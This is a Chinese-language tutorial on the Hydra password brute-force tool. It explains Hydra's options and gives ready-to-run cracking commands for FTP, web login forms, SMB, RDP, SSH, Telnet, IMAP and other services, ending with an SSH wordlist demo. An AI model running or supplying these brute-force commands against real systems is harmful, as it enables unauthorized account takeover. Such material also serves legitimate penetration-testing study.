Hydra(九头蛇)号称是世界顶级的密码暴力破解工具,专业破解各种网络服务的用户名和密码,几乎支持所有知名服务
针对Hydra的常用参数做了一些总结:
-R 恢复前一次失败的或缓存的攻击
-S 使用SSL连接
-s PORT 若是服务没有使用默认端口,则用这一参数指定端口
-l LOGIN or -L FILE 把LOGIN作为登录名,或是从文件FILE中载入一系列登录名
-p PASS or -P FILE 将PASS作为密码, 或是从文件FILE中载入一系列密码
-x MIN:MAX:CHARSET 生成暴力破解用的密码, 输入 "-x -h" 获得更多帮助
-e nsr 尝试: n 空密码,s 将登录名作为密码,r 反转登录
-u 循环用户名, 不使用密码 (有效的! 用 -x 说明)
-C FILE 取代 -L/-P 选项,输入格式是以冒号分割:"login:pass"
-M FILE 要攻击的服务器列表, 一行一个, 用':'指定端口
-o FILE 将找到的用户名/密码对写入到文件FILE中,而不输出到标准输出
-f / -F 当找到一对用户名/密码后退出 (-M: -f 每个主机, -F 全局)
-t TASKS 同时运行TASKS个线程 (每个主机默认为16)
-w / -W TIME 每个请求的等待时间 (32) / 线程之间发起连接的时间间隔 (0)
-4 / -6 使用IPv4 (默认) / IPv6 地址 (put always in [] also in -M)
-v / -V / -d 冗余模式 / 展示每次攻击时使用的用户名和密码 / 调试模式
-O 使用旧版的SSL v2 和 v3
-q 不输出有关连接错误的信息
-U 服务模块用法细节
server 目标服务器: DNS, IP or 192.168.0.0/24 (使用此选项或 -M 选项)
service 要破解的服务 (支持的协议在上面已经给出了)
OPT 一些服务模块支持额外的输入 (参数 -U 可查看模块帮助)
支持的服务和协议:
telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等
- 破解ftp:
# hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
- get方式提交,破解web登录:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
- post方式提交,破解web登录:
该软件的强大之处就在于支持多种协议的破解,同样也支持对于web用户界面的登录破解,get方式提交的表单比较简单,这里通过post方式提交密码破解提供思路。该工具有一个不好的地方就是,如果目标网站登录时候需要验证码就无法破解了。带参数破解如下:
<form action="index.php" method="POST"> <input type="text" name="name" /><BR><br> <input type="password" name="pwd" /><br><br> <input type="submit" name="sub" value="提交"> </form>
假设有以上一个密码登录表单,我们执行命令:
# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>”
说明:破解的用户名是admin,密码字典是pass.lst,破解结果保存在ok.lst,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解。
后面参数是网页中对应的表单字段的name 属性,后面<title>中的内容是表示错误猜解的返回信息提示,可以自定义。
- 破解https:
# hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
- 破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
- 破解cisco:
# hydra -P pass.txt 10.36.16.18 cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
- 破解smb:
# hydra -l administrator -P pass.txt 10.36.16.18 smb
- 破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
- 破解rdp:
# hydra ip rdp -l administrator -P pass.txt -V
- 破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
- 破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
- 破解telnet
# hydra ip telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
以下是我简单举了一个例子,仅供参考
1、手动创建用户名字典和密码字典,这里只是为了演示,只加了几个用户名和弱口令。真正破解时,需要利用密码字典生成器生成强大的字典(其密码能否破解关键在于强大的字典)
2、破解ssh:
# hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh
破解成功,直接显示结果。
也可以使用 -o 选项指定结果输出文件。
# hydra -L users.txt -P password.txt -t 1 -vV -e ns -o save.log 192.168.1.104 ssh